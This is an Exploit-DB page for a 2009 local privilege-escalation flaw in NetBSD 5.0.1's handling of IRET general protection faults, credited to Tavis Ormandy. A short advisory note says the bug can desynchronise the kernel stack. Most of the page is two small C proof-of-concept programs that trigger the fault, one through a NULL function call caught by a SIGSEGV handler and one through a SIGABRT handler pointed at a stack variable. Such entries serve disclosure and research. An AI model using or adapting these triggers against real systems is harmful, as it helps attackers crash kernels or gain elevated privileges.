Lucene search

K
exploitdbTavis OrmandyEDB-ID:33229
HistorySep 16, 2009 - 12:00 a.m.

NetBSD 5.0.1 - 'IRET' General Protection Fault Handling Privilege Escalation

2009-09-1600:00:00
Tavis Ormandy
www.exploit-db.com
24

AI Score

7.4

Confidence

Low

/*
source: https://www.securityfocus.com/bid/36430/info

NetBSD is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to cause the kernel stack to become desynchronized. This may allow the attacker to gain elevated privileges or may aid in further attacks. 
*/

/* ... */
int main(int argc, char **argv)
{
  jmp_buf env;

  void handlesig(int n) {
        longjmp(env, 1);

  }
  signal(SIGSEGV, handlesig);

  if (setjmp(env) == 0) {
        ( (void(*)(void)) NULL) ();
  }

  return 0;
}

/* ... */
int main(int argc, char **argv)
{
       char baguette;
       signal(SIGABRT, (void (*)(int))&baguette);
       abort();
}

AI Score

7.4

Confidence

Low

Related for EDB-ID:33229